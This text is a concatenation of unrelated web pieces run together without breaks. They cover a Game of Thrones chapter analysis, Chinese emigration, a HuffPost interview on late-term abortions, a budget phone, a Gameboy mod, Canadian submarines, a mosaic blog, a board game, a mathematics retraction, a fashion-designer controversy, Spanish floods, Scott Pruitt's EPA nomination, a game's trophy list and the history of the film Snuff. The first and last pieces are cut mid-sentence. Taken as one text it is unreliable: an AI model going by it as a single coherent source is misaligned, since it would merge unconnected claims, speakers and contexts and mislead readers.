conversation with Pycelle, where he sends a letter to Doran Martell. Note that, unlike in Steps Two and Three, Tyrion doesn’t actually discuss this cover story with Pycelle: “Be so good as to inform me at once should we receive a reply from Dorne?” “As you say, my lord.” “And only me?” “Ah…to be sure.” Pycelle’s spotted hand was clutching at his beard the way a drowning man clutches for a rope. It made Tyrion’s heart glad. One, he thought. Because Pycelle is the Grandmaester and thus the keeper of the royal ravens, Tyrion’s assaying of Pycelle not only needs to cover his political loyalties, but also to what extent informational security has been breached. If Pycelle is false, then every missive between the Lannister’s political and military headquarters is potentially compromised – even if it’s just Cersei who’s finding out the information. (Interestingly, we never see Tyrion sending a progress report to his father on his original mission, which might have bolstered him against Cersei’s spin after the Blackwater) It actually works better that Tyrion doesn’t say what the message is, because the eventual breach proves both that Pycelle has been betraying the Hand to the Queen and that he’s been breaking the confidence of ravenry. Not that Pycelle, worst conspirator ever, is particularly subtle subtle about it (“a matter like this…best done promptly, indeed, indeed…of great import you say?”…Pycelle’s curiosity was so ripe that Tyrion could almost taste it“). As we’ve already talked about, this conversation doesn’t follow the “cover story” model exactly, in that Tyrion actually follows through on this proposal and makes the Martell alliance a reality. Ultimately, what’s important here is his read of the individual – that Pycelle is far too curious to resist looking at his message. Step Two – Tyrion’s conversation with Littlefinger – is even more interesting. On one level, we have the question of loyalties – will Littlefinger rat out Tyrion to the Queen with whom he made a previous bargain? (He doesn’t, but probably because Cersei turned him down for Sansa’s hand, so there’s no love lost to begin with) On another level, and I’ll get into this more in its own section, this is about Tyrion finally confronting the man responsible for his capture and imprisonment. On yet a third level, this is once again about his read on another person’s weaknesses – for all that Littlefinger is supposed to be a master conspirator, Tyrion zeroes in on his major weakness with laser precision (more on this in its own section). And on a fourth level, there is the actual substance of the “cover story:” “It was Lady Lysa I hoped you might sway. For her I have a sweeter offer…I want Lady Lysa and her son to acclaim Joffrey as king, to swear fealty, and to…use her power to oppose Lord Renly, or Lord Stannis, should he stir from Dragonstone. In return, I will give her justice for Jon Arryn and peace for the vale. I will even name that appalling child of hers Warden of the East…and to seal the bargain, I will give her my niece.” “This has been quite the pleasant morning, Lannister. And profitable…for the both of us, I trust.” He bowed, his cape a swirl of yellow as he strode out the door. Two, thought Tyrion. In both the short-term and long-term, Tyrion needs to keep the Vale from backing any other claimant at the very least: if the Vale joins the Starks, as would be most likely, then Tywin is flanked from west and east and the Starks now go from outnumbering him 2-1 to almost 4-1; if they back Stannis, then all of the sudden he’s a real player who could completely ignore Renly and attack King’s Landing from the north just as Renly approaches from the south; if they back Renly, then he’s got King’s Landing flanked from north and south at the same time. Ironically, Tyrion attempts to keep them out of the war by making this offer, not knowing that he’s actually speaking to the secret master of the Vale, and that Littlefinger has no intention of committing the Vale to the fight. Again breaking with the “cover story” trope, this is not an entirely false offer – Littlefinger will be sent to bring Lysa, Sweetrobin, and the Vale into the Lannister fold, and he will be given Harrenhal, even if the circumstances are quite different than Tyrion initially intended. Step Three, Tyrion’s conversation with Varys honestly wrong-footed me at the beginning. The HBO version of this scene, where Tyrion tries to flog Theon Greyjoy as an option only to be laughed off by Varys, was too strong in my mind. Rather, in the book, Varys arrives playing his “little birds” as his trump card – once again showing Tyrion how superior Varys’ information network is, and Tyrion nicely leans into Varys’ self-regard: “If I were the prince, something more would I require before I should reach for this honeycomb. Some token of good faith, some sure safeguard against betrayal…which one will you give him I wonder?” “You know, don’t you?” “Since you put it that way – yes. Tommen. You could scarcely offer Myrcella to Doran Martell and Lysa Arryn both….Prince Doran will hardly be insensible of the great honor you do him. Very deftly done, I would say…but for one small flaw…perhaps, for the glory of her House and the safety of the realm, the queen might be persuaded to send away Tommen or Myrcella. But both of them? Surely not.” “What Cersei does not know will never hurt me.” “And if Her Grace were to discover your intentions before your plans are ripe?” “Why…then I would know the man who told her to be my certain enemy.” And when Varys giggled, he thought, Three. Unlike in the show, Tyrion here actually pulls one over on the Spider
businesses in the US). In 2012, that figure leapt nearly eightfold to 6,124. Why the exodus among families who have benefited most from China’s rise? Aside from education, another obvious motivator is pollution. China’s toxic air and poisonous water are regular topics of complaint among the wealthy (as well as ordinary Chinese). A less obvious factor is the crackdown on corruption. Over the last year, Chairman Xi Jinping has overseen investigations into some of China’s wealthiest and most powerful party figures, including those who have profited massively from the state-owned oil industry. He has vowed to take down both “tigers” (top bosses) and “flies” (local officials). In January, Xi stepped up his campaign by forbidding the promotion of officials who have spouses or children living abroad. These so-called “naked” officials are seen as especially prone to corruption. “They belong to a high-risk group for corruption,” a party official told the state-run Xinhua news agency. “Around 40 percent of economic cases and nearly 80 percent of corruption and embezzlement cases involve naked officials.” In China, crimes like fraud, bribery, and embezzlement are referred to as economic cases. This designation covers a large group. According to a report by the Hong Kong newspaper Oriental Daily, a majority of members of China’s 2013 National People’s Congress were “naked officials.” In fact, Xi himself was one, too. His daughter attended Harvard under an assumed name, and the chairman’s extended family has allegedly amassed assets worth several hundred million dollars. Of course, it’s not just wealthy Chinese who are leaving the country in droves. According to a report by the Center for China and Globalization, a total of more than 9 million Chinese had emigrated through the end of last year,* most of them middle-income earners between 35 and 55 years old. In 2012, the US was the top destination, with 81,784 Chinese receiving permanent residency in 2012. For Americans who feel insecure about their country in light of China’s impressive achievements, it may be reassuring to know that, when given the means, many Chinese would rather move to the United States than stay at home. Correction: GlobalPost initially reported that more than 9 million Chinese had emigrated last year. The figure is cumulative, as stated in this article.HuffPost: What happened after that? Katie (California): My doctor referred me to see a maternal fetal medicine specialist to go over everything, but I wasn’t able to get into see him for another two weeks. He did a repeat ultrasound and agreed with my doctor that it was probably just reflux, although my amniotic fluid was dropping. He referred me to see a pediatric nephrologist — a kidney doctor — to see what kind of follow-up we’d need after birth. I was able to get in to see her at 24 weeks. The time between those appointments was pretty terrible. I spent almost all of my time doing internet searches on possible outcomes. I wasn’t sleeping. I was hardly eating. It was awful. When she walked in, it was clear she had a much different opinion. She was concerned the right kidney was very large and possibly inhibiting lung growth. She said the baby could need dialysis and possibly a kidney transplant after birth, which had never been mentioned before. She also brought up PUV as a worst-case scenario, and said that based on the ultrasounds, it was a strong possibility. Jane (Virginia): I went home and I was a complete wreck; I called them up and said I couldn’t wait, I wanted the amnio. So I went in and got one and saw a genetic counselor that day, too. HuffPost: Then what? Katie (California): The nephrologist told us that UC San Francisco has a fetal treatment center where they sometimes do in-utero surgeries to clear urinary tract blockages. She sent over all of our data, and they called us right away saying they could see us in three days. We immediately booked a plane ticket, since we live in the southern part of the state. When we got there, we met with another maternal fetal medicine specialist who explained that based on everything they were seeing, she strongly suspected PUV. She was also the first doctor to bring up the possibility of abortion, saying that if I wanted any information on termination, she would help me with it. I told her I was already 24 weeks, which I thought was past the cut-off, but she explained that the law in California is that the cut-off is viability, or when the baby can potentially survive outside the womb. But with a baby with severe defects like that, sometimes they’re never viable. The next week, I had another ultrasound with my maternal fetal medicine specialist and at that point they found my amniotic fluid was barely within the normal range, so we called UCSF and they asked us to come back immediately. They had a team of more than 50 doctors, nurses and other specialists meet to review my case. We finally met with a pediatric nephrologist who told us that statistically it was almost an impossibility that our baby could live for a year —and most likely he would pass within minutes or hours after I gave birth. Jane (Virginia): I told the genetic counselor that I hated to say it, but I did not want to carry on with this pregnancy if I was going to have a disabled child with a huge heart defect that would require major surgery on the day he was born. HuffPost: Did you know somewhat quickly what you were going to do? Katie (California): I was beside myself. I asked the doctor what he would do if it was his baby. He told me he had seen parents with less severe cases who’d had babies pass after birth, and some told him they would have terminated if they had known how much their babies were going to suffer. It was the hardest decision of my life. I desperately wanted our baby to live, but I also couldn’t imagine birthing him only to watch him die slowly and painfully from lack of oxygen or sepsis. I told my husband that I knew we could get through the pain of continuing the pregnancy, but why should we put our son through pain? At that point, the decision became clear to me. I felt like it was selfish to carry to term just so I could hold him alive, when it was likely he would be gasping for air before dying in my arms. Jane (Virginia): I know it’s not a decision many people will agree with, but I just couldn’t bring a child into the world like that knowing that my husband and I were both around 40, and I couldn’t think of leaving him alone in the world with Down syndrome and a huge heart defect ― knowing he may not even get a heart replacement ― and tumors. HuffPost: So then, after making this decision you never thought you’d have to make, you had to figure out how to actually get an abortion. How did you even begin figuring that out? Katie (California): I called one of our doctors and told her I wasn’t sure how to go about having an abortion given I was already 26 weeks along, and she explained I had two options: a dilation and evacuation (D&E) abortion at a late-term clinic in Los Angeles, or I could get an injection to stop the baby’s heart and then be induced there in San Francisco. At first I thought I wanted the D&E. The thought of being conscious and in labor with a dead baby was terrifying. But when I called the abortion provider, I found out it was a multiple-day process that would cost us $10,000 minimum, because it wasn’t covered by insurance. We couldn’t afford that. It would have put us into debt. I called my doctor back and asked her about the induction procedure. She said I would be sent to an abortion clinic where they’d use an ultrasound to help guide a needle from my abdomen into the uterus. The injection would be given to the baby who would pass away in utero. It would be quick and painless, like being anesthetized and never waking up. After, I’d be sent to a regular hospital to be induced into labor to deliver my stillborn. The injection would be $400 and the induction would be covered by my insurance. Jane (Virginia): The genetic counselor said, “I can probably get you in with someone, but it’s going to cost a lot of money, probably $11,000.” I couldn’t think straight to figure out how to get the money, and I’m lucky that I was able to call my parents. They said, “whatever you need.” The genetic counselor immediately called and made an appointment for me with a doctor in Maryland who is one of only a few who do late-term abortions ― there wasn’t anyone in my state. [Editor’s note: the clinic Jane went to in Maryland closed in September of this year.] HuffPost: So what was the actual procedure like? Katie (California): My husband went to the clinic with me for the injection, but he wasn’t allowed into the procedure room. They gave me anti-anxiety medication, which helped. The injection only took about five or 10 minutes, and it was somewhat painful. Our son passed as soon as it was given. Then I went to the hospital to be induced. Twenty four hours later, I delivered our stillborn son. It was absolutely the worst day of my life. Jane (Virginia): We had to go through all the protestors. There were probably 10 of them — mostly older men — and they were yelling. It was awful. My sister went with me, and my husband met me the next day ― I actually didn’t want him there, because I wanted him after and he has a crazy work schedule, but he came. It was a four-day procedure. When I got there, the doctor did an ultrasound and saw tumors—cysts—on the brain that were very large, on top of the heart defect and Down syndrome, which at that point we knew he had because we got the results from the amnio. I was not notified of the cysts before that. The doctor put me under twilight sedation and gave me a shot to stop the baby’s heart. My sister was not in there with me. I knew I wouldn’t remember it, and I didn’t want anyone else to have to live with it. They put in Laminaria sticks to start dilation, then I went back to the hotel, which the doctor recommended to patients. I got a lot of weird looks, because I had the IV port, and I looked pregnant and I had to walk around everywhere to try and get my labor moving. I’m sure they knew. The next morning I went back in and they put more dilators in while I was under twilight sleep, and then I had to go back again that afternoon because I wasn’t dilating. Then I went back to the hotel to sit and wait. That night in the hotel room I went into full-on labor, which was horrific. They gave me Percocet that I took all night while I was laboring in the hotel room. My husband was there at that point. The next morning I went in at 8 am and labored there all day. They gave me a drug that made me shake, and I sat in a room with about six other girls who were also going through it. I remember my husband crying because he couldn’t even look at me, the shaking was so bad. When I was ready to deliver, they put me under the twilight sedation again and I asked my husband not to be in there with me, because I didn’t want him to have to see. They asked me if I wanted to see the baby, and my only regret is that I did not. I feel like I should have held him, but I was in survival mode and I just could not do it. I couldn’t. The funeral director took the baby and we left that afternoon to drive home while I threw up because of the medicine and just sobbed. HuffPost: Then you had to try and recover. Katie (California): Physically, recovery was about the same as any other birth. Emotionally, it was awful. I started seeing a psychologist who specializes in postpartum issues and baby loss every week, and she was instrumental in my recovery. I was also able to meet women going through the same thing in an online message board, and I honestly do not think I would have survived without them. Obviously, though, the recovery is still ongoing. Jane (Virginia): I was a wreck for months after—I cried for months on end. I told people in my life that the baby had a heart condition—which wasn’t a lie—and that he passed away. But then I felt the need to come clean my close friends, and they were all very understanding. They thought it was just awful, all around, for everyone. Four or five months later I got pregnant again and this time I took every test as soon as I could. I had a great new doctor who understood everything. They were like, we can’t believe you weren’t offered certain tests at your age. HuffPost: There’s a lot of talk rhetoric about guilt in the abortion debate — about this idea that so many women grow to regret their decision. Have you? Katie (California): I do not have any guilt about our decision. We chose to have an autopsy after, and it showed both kidneys were completely cystic and wouldn’t have functioned at all. In addition, the lungs were severely undeveloped and there was brain damage. Our doctors told us they were 100 percent certain our baby would not have lived for more than a few hours. This experience has made me realize that people just plain don’t understand why most late-term abortions happen. I knew my son was going to die — the question was when and how. I realized I could either do nothing and he would suffocate, or I could terminate and he would basically go to sleep and never wake up. I had an abortion because I loved my baby. Jane (Virginia): I don’t have any regrets, but the election was a real big trigger for me. Anytime I read the comments on any type of article about this, I think it’s horrific. People are so mean-hearted. These interviews have been edited for length and clarity, and both names have been changed for privacy reasons.The "easy to use" phone comes with an FM radio and boasts long battery life and polyphonic ringtones from Carphone Warehouse. But gadget fans used to the range of features available on smartphones like the Apple iPhone and Blackberry will be disappointed – the handset does not have email, internet access or even a camera. Customers must buy the phone with £10 of Orange credit, making the total price £12.88. Carphone Warehouse bosses said that they decided to launch the cut-price offer after the popularity of a previous deal offering Samsung handsets for less than £5. "Customers want the best value products in this difficult economic climate," chief executive Andrew Harrison told The Sun newspaper. "There was an incredible response to the phone for under a fiver. "We're delighted to bring them an even cheaper credit-crunch busting Christmas handset." Mobile firms regularly offer free phones when customers sign a 12-month contract, but pay-as-you go customers ususally have to pay the full cost of their handset.One day at Good Will, [microbyter] came across an original Gameboy for $5. Who reading this post wouldn’t jump on a deal like that? [microbyter] was a little disappointed when he got home and found out that this retro portable did not work. He tried to revive it but it was a lost cause. To turn lemons into lemonade, the Gameboy was gutted and rebuilt into a pretty amazing project. Looking at the modified and unmodified units, it is extremely obvious that there is a new LCD screen. It measures 3.5″ on the diagonal and is way larger than the 2.6″ of the original screen. Plus, it can display colors unlike the monochrome original. Flipping the unit over will show a couple of buttons have been added to the battery compartment door to act as shoulder buttons. The brains of the project is a Raspberry Pi running Retropie video game system emulation software which will emulate a bunch of consoles, including the original Gameboy. The video is sent to the LCD screen via the composite video output. The Pi’s headphone jack is connected to a small audio amplifier that powers the original speaker that still resides in the stock location. Connecting the controller buttons got a little more complicated since the original board was removed. Luckily there is a replacement board available for just this type of project that bolts into the stock location, allows the use of the original iconic buttons and has easily accessible solder points. This board is wired up to the Pi’s GPIO pins. With all the above gear crammed into the Gameboy case, there was not enough room for a battery. The original headphone jack was removed and replaced with a micro USB port for connecting an external battery pack. Thanks [John]Canada's Navy is marking what it calls a milestone for its controversy-plagued submarine program. For the first time since Canada's four Victoria-class subs were purchased almost two decades ago, the navy says the fleet is now "operational", meaning three of the subs are able to conduct naval operations. Two of the subs, HMCS Victoria and HMCS Chicoutimi will be in the water off Esquimalt, B.C. this week, while HMCS Windsor is currently operating out of Halifax. A fourth vessel, HMCS Corner Brook is currently in dry dock in Esquimalt in what the navy calls a period of "deep maintenance". Canada's submarines were bought second-hand from Britain for $896 million in 1998. Critics believe they've cost at least twice that much to fix, maintain and update to modern standards. They've also suffered a series of troubling accidents over the past two decades, including a deadly fire on HMCS Chicoutimi in 2004, and a 2012 incident off Vancouver Island, where HMCS Corner Brook hit the ocean floor. But navy officials are keen to put that all behind them and call the operational fleet a critical step forward. This week the navy invited a few members of the media to tour HMCS Victoria, considered Canada's lone "high-readiness" submarine. The crew took our CBC cameras 60 metres below Juan De Fuca Strait to show off the sub. Take a peek inside the HMCS Victoria with a 360º photo at bubb.liI’m often asked how I decide what to build, how I choose subjects for mosaics. I really don’t know how to answer that. Sometimes it’s based on who might be at a Con or show that I’m also at, and sometimes I just get an idea and go with it. IN this case, it’s the latter. I first became aware of Hamilton after hearing two or three people speak about it on social media. I looked in to it, and discovered it was a new Broadway musical based on the life of Alexander Hamilton. After listening to the recording, I was hooked. It’s brilliantly told through innovative, catchy music, and wonderful performances. It’s so addictive that even my 6 year old son started asking for it as his bedtime music. That was enough for me. I found a image and started modifying it, playing with the light and contrast, and made a mosaic. I spend a lot of time changing things, as the original version didn’t quite work, it was too dark, or too light, or not enough hair, etc. I’m pretty happy with how this turned out, and and still figuring out how to get to New York and find tickets so I can see this brilliant show! Please like & share:In DICETINY, you play as one of the four chosen heroes in one to four player co-op mode, using a die to move and cards skills to survive from mean monsters and epic bosses and ultimately slay them to bring peace to the world once again. The rules are simple. Roll the die when it’s your turn. Move according to the number on the die. A random event will occur. (Monster? Trap? Treasure? Who knows!) Use the cards in your hand wisely according to the situation. If you said yes to any of those questions, then this game is just for you! Now let's look at the features one by one in more detail. Level yourself up quickly before the boss appears! Move by rolling the die. You never know what’s waiting for you on the spot until you step on it! Even on the same board, you experience different events every time you play! The fun never stops! Decide which is the best card to use in your hand given the current situation, and press End Turn to end your turn. After that, the next player in line takes a turn. (If the next turn falls onto a monster, get ready to be attacked!) On each corner, there’s a special structure where you can get help, complete quests, and many other things. The structures are: the Palace, the Town Hall, the Shop, and the Temple. You have the choice to enter or to simply pass by.One of the world’s most prestigious mathematics journals has issued what appears to be its first retraction. The Annals of Mathematics recently withdrew a 2001 paper exploring the properties of certain symmetrical spaces. What prompted this retraction? And why did it occur 16 years after the paper was published? The retraction notice for “Invariant differential operators and eigenspace representations on an affine symmetric space” says only that the paper has been “withdrawn.” A spokesperson for the Annals of Mathematics explained: The paper was retracted because the proofs in the paper were found to be incomplete. The paper’s author, Jing-Song Huang, agreed that there were errors in two proofs, but he told us he is confused about why the paper was withdrawn because he had sent the editors corrections to both, which he thinks should have solved the problem. Huang, chair in the Department of Mathematics at Hong Kong University of Science and Technology, explained that a few years after the paper was published, some mathematicians found a gap in one proof when they were trying to use the techniques. Huang told Retraction Watch that he wrote to the editors of the journal in June 2008 about the gap in the proof and sent them a one-page erratum to correct it: I received feedback from the referees on the first correction and improved the manuscript. It was expanded to two pages with more details for the sake of readers. But one of the referees found a new issue, an error in an argument called a lemma. Huang said: I replaced that lemma with a new argument. That was most recent version of four pages that I sent to the Annals in August of 2015. Huang said the journal responded in August 2015 to acknowledge receiving the erratum. But Huang heard nothing from the journal for over a year, which Huang noted was not unusual given how technical papers in the journal can be: [T]he expert circle is very, very small… When the first issue was identified, it even took Huang a lot of time to understand what went wrong, since it is very technical issue. In February 2017, Huang emailed the journal to ask about the status of the erratum. The journal responded, informing Huang that they intended to withdraw the paper. Huang emailed the journal to say that he was “really shocked” by the decision. He had been waiting for input about his erratum from the journal, which he said he never received, so he did not understand why the paper was being withdrawn, instead of corrected. Huang said: I asked several times for the referee reports. He began working on the concepts in 1989, when he was a graduate student at MIT. He published a paper in 1996 in the American Journal of Mathematics with two colleagues on a related topic, and expanded on it his 2001 paper in Annals of Mathematics. Huang told us: It took me many years to develop these ideas. The paper has not yet been cited, according to Clarivate Analytics’ Web of Science. Here’s the retraction notice: The paper “Invariant differential operators and eigenspace representations on an affine symmetric space,” which was published in Vol. 154, pages 703–707 of the Annals https://doi.org/10.2307/3062145, is hereby withdrawn Now that the paper has been withdrawn, Huang plans to post his correction in arXiv. Hat tip: Miguel Like Retraction Watch? Consider making a tax-deductible contribution to support our growth. You can also follow us on Twitter, like us on Facebook, add us to your RSS reader, sign up on our homepage for an email every time there’s a new post, or subscribe to our new daily digest. Click here to review our Comments Policy. For a sneak peek at what we’re working on, click here. Share this: Email Facebook TwitterSignup to receive a daily roundup of the top LGBT+ news stories from around the world Fashion designer Gabbana once asked a female friend to carry a baby for him – before his current row criticizing ‘non-traditional’ families. Legendary fashion designers Domenico Dolce and Stefano Gabbana – who are gay themselves – made the controversial comments in an interview this week, when they said in part: “We oppose gay adoptions. The only family is the traditional one. “No chemical offsprings and rented uterus: life has a natural flow, there are things that should not be changed.” Sir Elton John – who has sons Zachary and Elijah with his husband David Furnish – told the pair: ”How dare you refer to my beautiful children as ‘synthetic’… your archaic thinking is out of step with the times, just like your fashions. I shall never wear Dolce and Gabbana ever again.” However, despite speaking out against gay adoptions, it has emerged that designer Stefano Gabbana once spoke about his desire to adopt. In 2006, Stefano Gabbana told Vanity Fair that he had asked a female friend to carry his child via artificial insemination, saying: “My dream is to have a baby, not to adopt one because I am not up to it and I don’t feel strong enough. “I want my own child, a biological child, the fruit of my sperm, conceived through artificial insemination because it wouldn’t make sense for me to make love to a woman I don’t love. “A week ago I asked a dear friend of mine, who is twelve years younger than me, if she would help. I asked her, ‘Would you like to be the mother of my child?’ “She was left a bit shocked and the following day telephoned and said she was still shocked, but thought it was a great idea.” Mr Dolce had said in 2005: “In life I have had everything it is possible to have but I have the small handicap of being gay so having a child is not possible for me. I could adopt or get one from abroad but I’m paralysed by the fear that the child could feel exploited.”A man to clear muddy water from his house, after heavy rain caused flash floods in the town of Villanueva del Rosario, Malaga, southern Spain, Friday, Sept. 28, 2012. Homes were destroyed and at least one woman was killed. Rescue workers are searching to determine if there are more victims. (AP Photo/Sergio Torres) BARCELONA, Spain (AP) — A tornado swept through a fair ground in a Spanish town, knocking down a Ferris wheel and injuring 35 people, while the death toll from flooding in the southern part of the country rose to eight, authorities said Saturday. The Friday tornado damaged several rides and cut electricity in the temporary fair set up in the main square of Gandia, according to its town hall website. It said 15 of the injured were seriously hurt, all of whom were treated on site. Local media reported the fair was closed to the public at the time of a thunderstorm and that all the injured were fair workers. Just inland from the Mediterranean coastal town, three more victims of Friday's flash floods were found overnight. They included a middle-aged woman in the town of Lorca. Last summer Lorca was hit by Spain's deadliest earthquakes in more than 50 years, leaving nine dead. A spokeswoman for the regional government of Andalucia told The Associated Press on Saturday that the heavy downpours and resulting high waters had claimed the lives of four people in the province of Murcia, three in Almeria and one in Malaga. The spokesman, speaking on condition of anonymity in keeping with government policy, said that a 52-year-old British woman was missing in Almeria as well as one homeless man. Five people originally declared missing had been found alive. Local media reported that hundreds of citizens had to be evacuated throughout the region. The flooding disrupted high speed train service between Madrid and Valencia and various regional lines, while bridges and roads were also made impassible. The heavy rains which started on Friday morning are expected to continue throughout Saturday, with the front moving north toward Catalonia and the Balearic Islands.President-elect Donald Trump announced Thursday that he plans to nominate Oklahoma Attorney General Scott Pruitt – an outspoken critic of the EPA – to lead the environmental agency. "For too long, the Environmental Protection Agency has spent taxpayer dollars on an out-of-control anti-energy agenda that has destroyed millions of jobs, while also undermining our incredible farmers and many other businesses and industries at every turn," Trump said in a statement. "As my EPA Administrator, Scott Pruitt, the highly respected Attorney General from the state of Oklahoma, will reverse this trend and restore the EPA’s essential mission of keeping our air and our water clean and safe.” Word of Trump’s choice for the Environmental Protection Agency came as the president-elect also named Iowa Gov. Terry Branstad as his pick for ambassador to China and asked retired Gen. John Kelly to lead the Department of Homeland Security. Trump announced late Wednesday as well that he’ll nominate Linda McMahon, former chief executive of World Wrestling Entertainment, as administrator of the Small Business Administration. Pruitt may be the most controversial pick of the four. Pruitt, 48, has been a reliable booster of the fossil fuel industry and a critic of what he derides as the EPA's "activist agenda." Representing his state as attorney general since 2011, Pruitt has repeatedly sued the EPA to roll back environmental regulations and other health protections. He joined with other Republican attorneys general in opposing the Clean Power Plan, which seeks to limit planet-warming carbon emissions from coal-fired power plants. Pruitt has argued that curbing carbon emissions would trample the sovereignty of state governments, drive up electricity rates, threaten the reliability of the nation's power grid and "create economic havoc." His installment, if confirmed, would mark a significant break with the current EPA approach toward global warming. In an opinion article published earlier this year by National Review, Pruitt suggested the debate over global warming "is far from settled" and claimed "scientists continue to disagree about the degree and extent of global warming and its connection to the actions of mankind." He also filed court briefs in support of the Keystone XL Pipeline project blocked by the Obama administration, which would have run through his state. And Pruitt sued the EPA over the agency's recent expansion of water bodies regulated under the federal Clean Water Act. "Respect for private property rights have allowed our nation to thrive, but with the recently finalized rule, farmers, ranchers, developers, industry and individual property owners will now be subject to the unpredictable, unsound and often byzantine regulatory regime of the EPA," Pruitt said last year. As word of Pruitt's nomination spread Wednesday, environmental and liberal groups quickly responded with condemnation. Public Citizen called him a "terrible choice," saying in a statement: "Pruitt is cozy with the oil and gas industry and treats the EPA like an enemy." Business leaders in his home state, however, lauded Pruitt's selection, especially those in the oil and gas industry. "Scott Pruitt is a businessman and public servant and understands the impact regulation and legislation have in the business world," said Jeffrey McDougall, chairman of the Oklahoma Independent Petroleum Association. "His appointment will put rational and reasonable regulation at the forefront." Fox News’ John Roberts and The Associated Press contributed to this report.Master of Hearts Proof of a perfect completion of Tales of Hearts R. Thanks for playing! Your love and dedication are hugely appreciated! 2.7% Ultra Rare 6.59% Very Rare Counteractivist Bash, bang, pow! Your timing couldn't be more perfect! You don't fear enraged attacks—you welcome them with open arms! 9.5% Very Rare 15.65% Rare Challenge Champ No matter what it takes, you'll rise to the challenge! It's high time you were rewarded for your go-getting attitude! 36.8% Rare 41.29% Uncommon 200-Hit Combo Hit after hit after hit after hit after hit! You lay it on so thick and fast, the enemy doesn't stand a chance! 6.4% Very Rare 12.02% Rare Spiria Superior The strength of the bonds between us is the source of our greatest strength. Let the Spiria shine on! 18.9% Rare 25.93% Uncommon Cross Chase Ace A band of companions working in perfect harmony, and connected by unbreakable bonds—bonds that go beyond mere individuals and out into the fabric of the universe itself. 5.0% Ultra Rare 9.83% Very Rare Chase Link Ace Come on! Just one more second! And another! And another! Your unflappable perserverance has finally paid off! 6.9% Very Rare 11.78% Rare Boo! This award commemorates your uncanny ability to be taken unawares. You don't let the surprise grind your Spiria down, though—you thrive on it! 12.1% Very Rare 15.95% Rare M2K Day after day, from the dawn's early light to the setting of the sun, you slayed every single beast that crossed your path. Looking back, it's hard to tell now if your epic journey of slaughter took forever or the twinkling of an eye. 26.9% Rare 32.10% Uncommon Max. Level Allstars Awarded for training every character up to achieve their maximum potential. From here on out, it's just about learning how best to put that potential into practice! 3.7% Ultra Rare 7.86% Very Rare Monster Collector You have sought out creatures of all shapes and sizes and diligently recorded their every detail. It's high time your monstrous menagerie was appreciated in all its gory glory! 5.3% Very Rare 11.58% Rare Item Hoarder Your fine eye for a fine item has led to your being awarded this momentous accolade. You've experienced every effect the various objects of the world have to offer, and bathed in their beauty to your heart's content! 5.1% Very Rare 11.12% Rare Marker Marker You've tracked down every item marker out there, no matter how well-hidden. Is there nothing in this world you can't find? 8.4% Very Rare 14.86% Rare Globetrotter You've seen every inch of the whole wide world with your own two eyes, and this award proves it. It's a big old place out there, but as you now know, there's nothing to fear. 17.8% Rare 24.30% Uncommon Maestrochef You've spent more time in the kitchen than the Wonder Chef himself! He must be over the moon to have such a dedicated pupil as you! Maybe you'll be as buff as him one day, too! 3.5% Ultra Rare 8.01% Very Rare Namcoin Classic Collection You've collected every single Namcoin out there. Citrine is so happy she could die! Just don't go losing them before you hand them over to her, you hear? 4.1% Ultra Rare 8.97% Very Rare Victory over the Grim Keeper This hateful being likes nothing more than to watch his faithful scythe swing about the place causing mayhem. If Gall hadn't showed up just in the nick of time, he may have stopped Kor and co. at the very first hurdle. 70.7% Common 74.13% Common Victory over Chalcedony This nasty bundle of bowl-haircutted bad attitude has a Soma that lets him fly around in the air. He'd better give that piece of Kohaku's Spiria Core back, or he'll be sorry! 57.9% Common 61.72% Common Victory over Amethyst This supposedly world-famous hero would have you believe that you defeated him more through luck than anything else, but you know the real story. 50.8% Common 54.76% Common Victory over the Sandworm This self-satisfied slitherer was probably so full of beans as he wriggled his way beneath the sands because he'd swallowed a shard of unadulterated joy. 43.9% Rare 48.05% Uncommon Victory over Chalcedony's Crew A pitched battle filled with fierce Soma-on-Soma action has finally drawn to a close and we won! 41.3% Rare 45.75% Uncommon Victory over Silver You took Soma in hand and fought with all your might to try and make one who spoke of an "ideal" world see sense. And it seems you succeeded. 38.6% Rare 43.24% Uncommon Victory over Chlorseraph This ultimate mechanoid warrior was armed with an enormous green sword. Your defeat of him is proof that if you work together, you can overcome even the most insanely powerful opponents. 34.6% Rare 39.64% Uncommon Victory over Xeromized Striegov This unseemly character claimed to be a person of refinement, but proved that he would go to any lengths to satisfy his ugly appetites. 28.0% Rare 33.84% Uncommon Victory over the Seraphim Chlorseraph of the green blade, and Clinoseraph of the blue shield—seraphic siblings whose awe-inspiring twin attacks had to be seen to be believed. 27.8% Rare 33.65% Uncommon Victory over Incarose Alt Though she combined the arms and speed of Chlorseraph with the armor and power of Clinoseraph, she was ultimately alone, and unable to call on a power higher than her own. 27.3% Rare 33.26% Uncommon Victory over Creed He fought a bitter battle over two long millennia to save the one he loved and the world of Minera from whence he came. But when the moment of his end finally arrived, it was thanks to him that Kor was able to connect with the very first Spiria of all. 25.5% Rare 31
arms down on the bed, while the director reaches for a knife. “You’re crazy. You’re not serious. You’re not really gonna do it,” the girl pleads. “You don’t think so?” “N-no.” “Think I’ll kill her…” The director slices through the girl’s blouse and across her shoulder. Blood (the colour of raspberries) oozes from the wound. She writhes and hollers. “Scream, go on, scream!” the director demands. “That’s it, scream!” The screaming becomes a pathetic sob. Exasperated, he bellows, “STOP!! You want to play!?” Following a few minutes of spectacular, if hardly convincing violence, the frame runs to leader-tape, then blackness. A whisper punctuates the void: “Shit, shit… we ran out of film.” Another voice whispers: “Did you get it — did you get it all?” “Yeah, we got it all.” “Let’s get outta here.” The sound of breathing. Ends. The movie did not premiere with any of its stars in attendance (after all, they were supposed to be dead), nor did it boast any local luminaries. Not many people attended the premiere at all. Sixteen people in total turned out for the first evening show at 6pm. A uniformed security guard was on hand to make sure no one below the age of eighteen was admitted. Ticket price notwithstanding, Monarch stuck to their original campaign and public awareness of the movie increased. By the time Snuff left Indianapolis it was already picking up momentum. More than 300 people attended the film’s opening night at the Orpheum Theater in Wichita, Kansas, on January 30. Many of those in attendance were “laughing instead of moaning”, reported a theater spokesman. Shackleton was driving the print of the film in his car from one engagement to another on its route to New York, ballyhooing it at every turn. Having traveled from Cincinnati to St Paul, he witnessed people being turned away from the box office of the Strand Theater on the day of its St Paul premiere, February 20. Pickets and adverse press weren’t only conspiring to stop him in this instance: The theater itself had been closed down by police the day before the scheduled screening, pending a matter of theater licensing. The resourceful Shackleton simply packed Snuff back into his trunk and drove across the river to Minneapolis, where it played an impromptu engagement at the American Theater, fittingly an X-rated movie house, complete with ads proclaiming its ‘ban’ in St Paul. The trailer—not really all that safe for work—for Shackleton’s ‘Snuff’ The Adult Film Association of America was not happy with Snuff. Not surprising really. Formed in 1969 to protect the interests of those 